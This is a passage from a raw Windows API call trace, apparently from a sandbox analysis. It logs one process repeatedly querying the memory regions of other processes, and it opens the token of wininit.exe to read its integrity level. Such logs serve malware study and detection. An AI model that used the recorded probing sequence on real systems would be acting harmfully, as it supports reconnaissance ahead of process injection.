VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb67000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb6f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x161000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdcd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdcd0000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdd53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd53000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdd54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd54000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdd55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd55000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdd56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd56000, AllocationBase=0x7fe, AllocationProtect=0xfdcd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x43000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdd99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdd99000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x14b7000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff250000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff250000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.821] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff258000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff258000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.821] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff25a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25a000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.821] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff25b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25b000, AllocationBase=0x7fe, AllocationProtect=0xff250000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.821] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff25e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff25e000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x12000), ResultLength=0x0) returned 0x0 [0057.821] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7feff270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff270000, AllocationBase=0x7fe, AllocationProtect=0xff270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.821] QueryFullProcessImageNameW (in: hProcess=0x134, dwFlags=0x0, lpExeName=0xf836b8, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x17af784) returned 1 [0057.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf836b8) returned 1 [0057.822] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.822] IsWow64Process (in: hProcess=0x134, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.822] NtQueryInformationProcess (in: ProcessHandle=0x134, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.822] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.822] OpenProcessToken (in: ProcessHandle=0x134, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.822] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.822] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.822] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.822] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.822] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.822] NtClose (Handle=0x1f0) returned 0x0 [0057.822] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.822] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76db2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76db2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76dc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76dc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc4000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x66000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76e2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76e30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e30000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76ecc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76ecc000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6e000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76f3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3a000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76f3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3c000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x13000), ResultLength=0x0) returned 0x0 [0057.825] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76f4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f4f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x76f50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f50000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77053000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77053000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77082000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77082000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77083000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77083000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77084000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77084000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77085000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77085000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77087000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77087000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77088000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77088000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x77089000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77089000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.826] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7708b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708b000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.827] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7708e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708e000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0057.827] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x770f9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x770f9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7ee7000), ResultLength=0x0) returned 0x0 [0057.827] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.828] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefc774000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfc774000, AllocationBase=0x7fe, AllocationProtect=0xfc730000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.828] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefc77d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfc77d000, AllocationBase=0x7fe, AllocationProtect=0xfc730000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.828] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefc77f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfc77f000, AllocationBase=0x7fe, AllocationProtect=0xfc730000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.828] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefc780000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfc780000, AllocationBase=0x7fe, AllocationProtect=0xfc730000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.828] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefc785000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfc785000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x5ab000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd30000, AllocationBase=0x7fe, AllocationProtect=0xfcd30000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd78000, AllocationBase=0x7fe, AllocationProtect=0xfcd60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd7f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd7f000, AllocationBase=0x7fe, AllocationProtect=0xfcd60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd80000, AllocationBase=0x7fe, AllocationProtect=0xfcd60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd81000, AllocationBase=0x7fe, AllocationProtect=0xfcd60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcd85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcd85000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x4b000), ResultLength=0x0) returned 0x0 [0057.829] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcdd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcdd0000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcddb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddb000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcddc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddc000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcddf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddf000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xa1000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefce80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce80000, AllocationBase=0x7fe, AllocationProtect=0xfce80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefce8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce8b000, AllocationBase=0x7fe, AllocationProtect=0xfce80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefce90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce90000, AllocationBase=0x7fe, AllocationProtect=0xfce80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefce91000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce91000, AllocationBase=0x7fe, AllocationProtect=0xfce80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.830] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefce94000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce94000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xc000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcea0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcea0000, AllocationBase=0x7fe, AllocationProtect=0xfcea0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcea8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcea8000, AllocationBase=0x7fe, AllocationProtect=0xfcea0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefceab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfceab000, AllocationBase=0x7fe, AllocationProtect=0xfcea0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefceac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfceac000, AllocationBase=0x7fe, AllocationProtect=0xfcea0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefceaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfceaf000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x141000), ResultLength=0x0) returned 0x0 [0057.831] NtQueryVirtualMemory (in: ProcessHandle=0x134, Address=0x7fefcff0000, VirtualMemoryInformationClass=0x0, 